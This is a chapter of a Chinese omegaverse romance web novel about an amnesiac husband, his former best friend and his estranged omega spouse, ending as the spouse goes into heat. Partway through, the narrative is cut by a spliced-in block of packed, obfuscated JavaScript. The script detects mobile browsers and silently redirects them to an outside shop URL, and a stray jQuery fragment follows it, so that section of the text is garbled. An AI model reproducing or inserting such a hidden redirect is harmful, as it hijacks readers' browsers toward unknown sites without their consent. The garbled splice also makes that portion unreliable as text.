“我们当年,到底是怎么闹掰的?”
见面第一句话,蔺言脱口而出的就是质问。
宿子秋知道他性格没那么沉稳,心智过于年轻就是沉不住气。
他也没想瞒着,懒洋洋道:“就是你那天听到的那样啰。”
这段时间不知道他又去哪里混了。
浑身上下都散发着一股甜腻腻的omega的气息,吊儿郎当的。
这和蔺言记忆中的宿子秋,又割裂了不少。
在他记忆中的宿子秋,对着omega说话都会脸红,根本不敢和omega对视,更别提去夜店或者玩乐场所鬼混。
蔺言眉头皱得越发深。
宿子秋道:“当年我们一起看上了苏明清,你喜欢他,我也喜欢他,好哥们喜欢上同一个人,后果当然是水火不容,分道扬镳。”
蔺言更不能理解了,“我怎么可能这么重色轻友?”
就为了一个omega?
“你不重色轻友?”宿子秋笑了起来,简直乐不可支,“好吧,准确来说,我们两个都挺重色轻友的,谁都不肯让着谁,所以我们做不成朋友了啊。”
“说实话,”宿子秋道,“那天你说找我叙旧,我以为你鬼上身了,真的太好笑了。”
蔺言的重点却不在这上面,他问:“所以这么多年,你一直没对苏明清死心?”
宿子秋的笑声渐止,一时间有些沉默。
蔺言心想,不至于吧,惦记人惦记二十多年,这么痴情?
苏明清……有这么好吗?
宿子秋道:“看在我们之前当过朋友的份上,我不想背后使绊子。”
其实早就使了,只不过苏明清并不配合。
“我确实喜欢你老婆,”宿子秋道,“喜欢很多年了。”
蔺言瞳孔地震,都不知道回什么好。
宿子秋道:“所以只要有机会,我肯定会抓住机会上位,如果你真的不喜欢他,不如可怜可怜我,把他让给我?”
宿子秋看他明显三观被重创的样子,又笑出声。
这个年纪的蔺言他了解,这大概是蔺言最单纯的年纪。
在喜欢上苏明清之前,蔺言都“直男”得像个单细胞生物,觉得世界上大部分人都遵守法律秩序,人人心底都有善良的一面,世界是依照着他“善良”的观念运行。
蔺言在震惊过后,终于找回了自己的声音:“宿子秋……你怎么变成这样了?”
时间在好友身上留下来的痕迹,清晰无比地摆在他面前。
原来除了和苏明清离婚这件事,剩下时间造成的痕迹,他没有办法弥补和修改。
“我确实感觉不到我对苏明清的喜欢,”蔺言道,“但是,他不是我随手就能送给别人的物品,要是你喜欢他,随便你去追求,如果他同意,我别无二话。”
在蔺言走后不久,宿子秋拿出通话中的电话。
“怎么样,对他的刺激够不够?”
对苏明清的刺激应该也够大。
宿子秋调侃,“以前他就像是一头猎犬,你方圆十里内出现的每一个alpha,他都要仔细检阅,可今天我在他面前说这么多,他竟然让我随便去追求你。”
他总结:“确实是真的失忆了,而且,对你没有感情了。”
苏明清只是沉默。
宿子秋道:“这次我也算是征求到正主同意了?他亲口说我有追求你的资格,你……”
苏明清挂断了电话。
*
回去之后,蔺言越想越气。
他怎么也想不到,他和他最好的朋友闹掰的原因,竟然这么狗血。
更想不明白的是,为什么他心里这么不舒服。
就好像被人偷了什么珍贵的东西,有种茫然若失的愤怒。
可他明明不喜欢苏明清。
他干脆化悲愤为动力,把助理带来的一大堆工作都处理了。
伏案工作时,蔺言余光瞥见一个人影。
这个人影他已经很熟悉,一眼就认出来是苏明清。
他有些好奇,苏明清要干什么?
好奇心一涌上来,蔺言立刻就压制了下来。
就算苏明清要干什么,也不关他的事。
可能是这段婚姻关系让他在苏明清身上投入了太多的注意力——也有可能是信息素标记,反正他发现,他对苏明清已经超出了他以前关注他的次数。
就算是以前作为竞争对手,也没天天看着苏明清。
全息电脑上的文字慢慢变得凌乱无章。
看一眼。
就看一眼。
蔺言偷偷站在了窗台边。
或许是信息素标记的奇妙,也可能是最近确实了解苏明清多了一点,他竟然在苏明清的那张扑克脸上,看出来了苏明清不太高兴。
苏明清手上拎着一个水壶,走向了花园架子上的一排花。
从第一天蔺言就注意到了,他们这个明显被设计过的花园中,有一排五颜六色,一点颜色搭配都没有的乱七八糟的花。
原来是苏明清种的。
怪不得没人清理。
苏明清拿着水壶,板着脸,似乎在数花朵的数量。
数好之后,他手中的水壶举了起来。
alpha的视力超群,很轻易就看清了他手中水壶的造型。
原来看着是一个胖水壶,实际上壶嘴只有一点点,水管像是一枚加粗的针。
苏明清对着花心浇了起来。
一朵,两朵,每一朵。
——蔺言莫名其妙笑了一下,竟然觉得有点可爱。
这项活动似乎很解压,蔺言看着苏明清浇了没多久,紧皱着的眉头就松懈了。
随后,苏明清转过身。
蔺言吓了一跳,以为自己被发现了,立刻下蹲。
他露出半双眼睛,瞥了瞥——苏明清已经又转过身去。
“哪里来的猫?”
苏明清自言自语。
蔺言松了一口气,直起身体,依旧偷感很重,稍微拉了拉窗帘做遮挡。
没敢动静太大,怕被发现。
苏明清虽然是个omega,但是他的敏锐力丝毫不亚于alpha,属于先天条件不好,后天也要硬凑的类型。
也不知道是不是这么多年没锻炼退化了,蔺言弄出来的动静他都没听见。
苏明清蹲下身,“嗯?是只三花。”
蔺言很诧异他还认识猫咪的种类。
他以为苏明清不会对这种毛茸茸的小动物感兴趣。
苏明清伸手摸了摸小猫的头,小猫在他的身边喵喵叫,并不惧怕苏明清身上散发出来的冷淡气场。
“蔺育澜!”苏明清往屋里叫了一声。
蔺育澜似乎就在客厅里玩,回应得很快,“哎!怎么了父亲?”
“让你爸……”苏明清的话紧急刹车,停顿了片刻,“你去负二楼地下室,拿个猫罐头出来。”
蔺育澜答应得很欢快。
很快,他就哒哒哒跑着出来了,把猫罐头递给苏明清,然后抱住苏明清的脖子,亲热地和他说话。
蔺言只能听见只言片语。
“父亲,要不我们把它养在房间里吧?”
“你爸爸猫毛过敏,你忘了?”
“对哦,那他怎么办?”
“他在咱家院子里可以自由自由……”
蔺言心像是被羽毛轻轻扫了一下,他深吸一口气,缓缓拉上了窗帘。
他好像通过这一幅场景,窥见到这一家三口温馨的日常。
以前应该包含他在内。
他有些无措。
*
又是一天夜晚,苏明清从房间里出来,本想让佣人倒杯水,最后还是决定自己倒,没有大半夜叫人。
他端着一杯水,在厨房里慢慢啜饮。
这段时间的失眠越发严重,有时辗转反侧大半夜都不得安眠。
以前蔺言睡在身边时,从来不会发生这种情况,alpha的信息素有抚慰omega的作用。他记得他孕期时,对信息素的渴求到了一定程度,蔺言可以一整晚都不睡觉,守在他身边,随时释放信息素安抚。
可能也是孕期的后遗症,让他对alpha的信息素产生了依赖。
苏明清喝完水,打算上楼。
转过身,微微一顿。
蔺言站在客厅楼梯口,不知道看了他多长时间,知道他转过身,对他尴尬一笑。
苏明清也很久没仔细看过蔺言了。
人都说相由心生,蔺言觉得他身体里装着一个二十岁的灵魂,整个人的精神和四十岁的人确实不一样了。
如果他现在上街,不和别人说年龄,都会以为他真的是大学生。
但这和苏明清认识的蔺言不一样。
苏明清和缓的面部肌肉渐渐紧绷。
尴尬弥漫在空气中,二十年的夫妻像是不熟,只有偶尔泄露出来、慢慢纠缠在一起的信息素,显示出两人曾经的亲密。
“你也来……”蔺言没话找话,“喝水?”
苏明清没搭理他,直接掠过他,与他擦肩而过。
彷佛再看他两眼,就要生气了。
没走几步,苏明清又退了回来。
“有件事情,”苏明清语气冷淡,公事公办,“过两天有个新闻会需要你参加,怕你才开始不熟练,我会陪同。”
蔺言“哦”一声。
公事说完,似乎也没什么好说的了。
苏明清留给蔺言一个渐行渐远的背影。
蔺言想起第一天穿越时,苏明清还扔给他一条围巾,死死抓着他的手带他冲出人群。
颇有些不是滋味。
*
新闻会当天。
苏明清意外发现,蔺言并没有才开始从医院出来那天生涩了,面对媒体的提问,他应对起来很熟练,甚至可以说游刃有余。
35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14129075|147645||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
>如果不是两人依旧保持的很远的肢体让苏明清有距离感,他还以为蔺言恢复记忆了。
也有媒体注意到了这一点。
“蔺先生,您夫人这段时间的表现很出色,之前就有传言说,您夫人是为了您放弃了抛头露面的工作,请问两人是否因此产生嫌隙呢?”
话题都不知道是怎么扯到这上面来的。
蔺言笑容一僵,幸而这时苏明清反应快,挎住了他的胳膊,对着媒体道:“如你所见,我们感情很好,望诸位少些不必要的猜测,专注今天的活动吧。”
蔺言也及时扣住了苏明清的手背。
苏明清对这样的触碰很习惯,没有任何多余的感觉,倒是蔺言。
他头一次和一个omega……还是苏明清。
这么亲密地手握手。
他突然发现,原来再冷淡的omega,手也是柔软温暖的。
和硬邦邦的alpha不一样,苏明清简直像水一样。
“如你们所见,”蔺言重新挂上笑容,“我们没有任何问题。”
……
活动结束后,苏明清和蔺言在车内休整。
外面沸反盈天,车内安静死寂,司机在外抽烟,就剩两个人独处。苏明清脸色很白,闭着眼睛假寐。
“我……”蔺言开了个口子,有些犹豫,“这份工作,我真的喜欢吗?”
他始终想不明白,为什么他的选择会和他的理想差距那么多。
这世上能理解他这么选的人不多,他通讯录里几乎没朋友,唯一了解他的人只能是苏明清。
可苏明清似乎并不愿意多和他聊相关的话题。
苏明清睁开眼。
他启唇,有点讽刺,“不是说二十年后的你不是你吗?所以喜不喜欢也不重要。”
回旋镖到底是扎回了自己身上。
蔺言躁得慌,又嘴硬,“我就是问问。”
“没什么好问的。”
“不问了,不稀罕知道。”
苏明清笑了一下。
蔺言很少见到他笑,呆了一呆。
他想,苏明清这个人怎么和别人这么不一样?连笑点也这么奇怪,都不知道刚刚的话中有什么能逗笑他的。
苏明清起身,想打开窗户叫司机进来,身形一晃,扶住了车把手。
“不是吧,你怎么了?”蔺言一惊,“生病了?”
他伸出手扶住苏明清。
苏明清明明想把胳膊抽出去,也许是力气太小,也许是太久没和蔺言接触,抗拒的意思只闪过一下,接着就放弃了。
蔺言扶着他,感觉苏明清要往他怀里栽。
“我没事,”苏明清咽了咽口水,喉结上下滑动,后颈的腺体隐隐发烫,“没事,松开我。”
蔺言不解,“你都这样了,还让我松开你?”
苏明清道:“松开我,我有力气坐稳。”
“怎么可能?你需要去医院。”
蔺言并不理解苏明清对他没抵抗力这件事。
苏明清不知道该怎么和他解释,“我身体就是这样,不会有什么事,不用去医院。”
蔺言还是不太明白,“你还讳疾忌医啊?”
苏明清:“……”
蔺言把司机叫进来后,司机一听苏明清的话,立刻也懂了,踩着油门把苏明清往家里送。
彷佛全世界都在瞒着蔺言打哑谜。
车开进别墅的内院,司机打开车门,却不敢随意触碰苏明清。
苏明清又不让蔺言碰。
于是在两个人的注视下,苏明清颤抖着起身,往客厅里挪。
“蔺先生,”司机看不过去,小声提醒,“我就算了,您怎么也不上前帮一把呢?把人抱回去也行啊。”
“啊?”蔺言一头雾水,“可是他不让我碰啊。”
司机眼神呆滞了,盯着蔺言的眼神,好像在看一个傻子。
蔺言忍无可忍,还是上前,像一只手忙脚乱,因为帮不上忙就只能瞎忙活的小狗。
他一伸手,苏明清立刻道:“别碰我!”
蔺言:“……”
一路踉踉跄跄,好歹是看着苏明清进了卧室。
卧室门被苏明清大力关上,砰地一声,还有一点他身上的香气。
蔺言站在门口没敢走。
片刻后,越来越浓重的花香从门缝中溢出。
一扇门根本阻挡不了信息素,它们钻进了蔺言的鼻腔,顺势环绕在他的口腔中,留在舌苔上,蔺言的犬牙缓慢发热,需要咬紧舌尖才能遏制住那股茫然的冲动。
在他自己都没意识到时,他又在门口绕了两圈,来回踱步。
他想破门而入。
蔺言狠狠咬了一口舌尖,血腥味暂时盖过了花香,神志也清明不少,立刻远离了那扇门。
——他明白为什么司机用那种眼神看他了。
他确实是傻子。
苏明清的发情期,来了。